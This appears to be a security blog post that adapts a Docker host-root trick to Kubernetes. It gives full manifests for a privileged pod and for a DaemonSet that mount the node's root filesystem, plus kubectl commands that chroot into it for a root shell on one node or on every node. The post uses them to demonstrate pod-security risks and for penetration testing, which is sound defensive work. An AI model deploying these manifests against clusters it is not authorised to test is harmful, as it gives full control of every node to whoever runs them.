Coming up for 4 years ago (a lifetime in Container land) Ian Miell wrote about “The most pointless Docker Command Ever”. This was a docker command that you could run and it would return you back as root on your host.
Far from being useless, this is one of my favourite Docker commands, either to demonstrate to people why things like mounting
docker.sock inside a container is dangerous, or for using as part of security tests where I can create containers, and I’d like to get to the underlying host easily.
I was thinking today, I wonder what this would look like in Kubernetes…? So I create a quick pod YAML file to test. You can use this YAML to demonstrate the risks of allowing users to create pods on your cluster, without PodSecurityPolicy setup (of course, I’m sure all production clusters have a PodSecurityPolicy….. right?).
The YAML is pretty simple, it basically creates a privileged container based on the
busybox image and sets it in an endless loop, waiting for a connection, whilst also setting up the appropriate security flags to make the pod privileged, and also mounting the root directory of the underlying host into
apiVersion: v1 kind: Pod metadata: name: noderootpod labels: spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: noderootpod image: busybox securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: /
Once you’ve got that as a file called say “noderoot.yml” , just run
kubectl create -f noderoot.yml
then, to get root on your Kubernetes node you just need to run
kubectl exec -it noderootpod chroot /host
and Hey Presto, you’ll be the
root user on the host :)
Of course, you’re thinking, “that only does one random node” and you’d be right. To get root shells on all the nodes, what you need is a DaemonSet, which will schedule a Pod onto every node in the cluster.
The YAML for this is a little more complex, but the essence is the same
apiVersion: apps/v1 kind: DaemonSet metadata: name: noderootpod labels: spec: selector: matchLabels: name: noderootdaemon template: metadata: labels: name: noderootdaemon spec: tolerations: - key: node-role.kubernetes.io/master effect: NoSchedule hostNetwork: true hostPID: true hostIPC: true containers: - name: noderootpod image: busybox securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: /
Once that’s run just do a
kubectl get po to see your list of pods to choose from, and run the same
chroot /host command on one to get that root on the host feeling…
If you’ve made it all the way to the bottom of this post, I’ll briefly pimp out my Mastering Container Security course, which I’m running at Black Hat USA this year, where we’ll be covering this and much much more container security goodness :)